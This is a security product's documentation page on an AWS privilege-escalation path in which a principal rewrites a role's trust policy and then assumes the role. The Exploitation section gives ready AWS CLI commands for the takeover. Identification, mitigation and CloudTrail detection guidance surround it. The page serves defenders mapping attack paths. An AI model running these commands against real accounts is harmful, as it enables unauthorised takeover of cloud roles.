> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_update_trust_and_assume.md).

# AWS\_UPDATE\_TRUST\_AND\_ASSUME

## Summary

|                            |                                                 |
| -------------------------- | ----------------------------------------------- |
| **Forestall ACL Alias**    | AWS\_UPDATE\_TRUST\_AND\_ASSUME                 |
| **AD Alias**               | N/A                                             |
| **Affected Object Types**  | `AWSUser\|AWSRole → AWSRole`                    |
| **Exploitation Certainty** | High                                            |
| **AWS IAM Action**         | `iam:UpdateAssumeRolePolicy` + `sts:AssumeRole` |

## Description

An attacker who holds both `iam:UpdateAssumeRolePolicy` and `sts:AssumeRole` on a target role takes it over unconditionally. They rewrite the trust policy to trust their own principal, then assume the role immediately.

This is a **consolidated** privesc edge — it needs both actions on the same role. `iam:UpdateAssumeRolePolicy` alone changes who may assume the role; `sts:AssumeRole` alone is blocked when no trust exists. Together they form a two-step takeover that needs no prior trust relationship.

The standalone `iam:UpdateAssumeRolePolicy` case is modeled separately as `AWS_UPDATE_TRUST` (same-account takeover, no separate assume grant needed). This edge covers the cross-account case and the case where the assume permission is explicit.

**Edge semantics:** `(Attacker:AWSUser|AWSRole) -[AWS_UPDATE_TRUST_AND_ASSUME]-> (TargetRole:AWSRole)`

Precondition: none. The attacker sets the trust and assumes the role in sequence.

## Identification

Check whether a principal holds both actions on the target role:

```bash
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:UpdateAssumeRolePolicy sts:AssumeRole \
  --resource-arns "arn:aws:iam::<account-id>:role/<target-role>"

# View the current trust policy of a role
aws iam get-role --role-name <target-role> \
  --query "Role.AssumeRolePolicyDocument"
```

PowerShell (AWS Tools):

```powershell
(Get-IAMRole -RoleName "<target-role>").AssumeRolePolicyDocument
```

## Exploitation

```bash
# Step 1: Rewrite the trust policy to trust the attacker's principal
aws iam update-assume-role-policy \
  --role-name <target-role> \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {"AWS": "<attacker-arn>"},
      "Action": "sts:AssumeRole"
    }]
  }'

# Step 2: Assume the role immediately
aws sts assume-role \
  --role-arn "arn:aws:iam::<account-id>:role/<target-role>" \
  --role-session-name hijack-session
```

## Mitigation

* Restrict `iam:UpdateAssumeRolePolicy` to dedicated IAM administrator roles. Deny it for service and application roles.
* Use SCPs to block trust policy changes that introduce arbitrary external principals or wildcards.
* Apply resource-based conditions on sensitive roles — for example, require `aws:PrincipalOrgID`.
* Enforce IAM permission boundaries so a rewritten trust policy cannot grant more than the boundary allows.
* Use AWS IAM Access Analyzer to flag roles whose trust policies were recently modified.

## Detection

| CloudTrail Event         | Description                                   | Key Fields                                                                           |
| ------------------------ | --------------------------------------------- | ------------------------------------------------------------------------------------ |
| `UpdateAssumeRolePolicy` | The trust policy of a role was modified       | `requestParameters.roleName`, `requestParameters.policyDocument`, `userIdentity.arn` |
| `AssumeRole`             | The role was assumed after trust modification | `requestParameters.roleArn`, `userIdentity.arn`                                      |

Alert when `UpdateAssumeRolePolicy` adds a new principal and `AssumeRole` on the same role follows within a short window. Also alert on any trust policy change that introduces a wildcard principal (`"Principal": "*"`).

## References

* [AWS IAM: UpdateAssumeRolePolicy API](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAssumeRolePolicy.html)
* [AWS STS: AssumeRole API](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html)
* [Rhino Security Labs: AWS IAM Privilege Escalation Methods](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [HackTricks: AWS IAM Privesc, iam:UpdateAssumeRolePolicy](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc)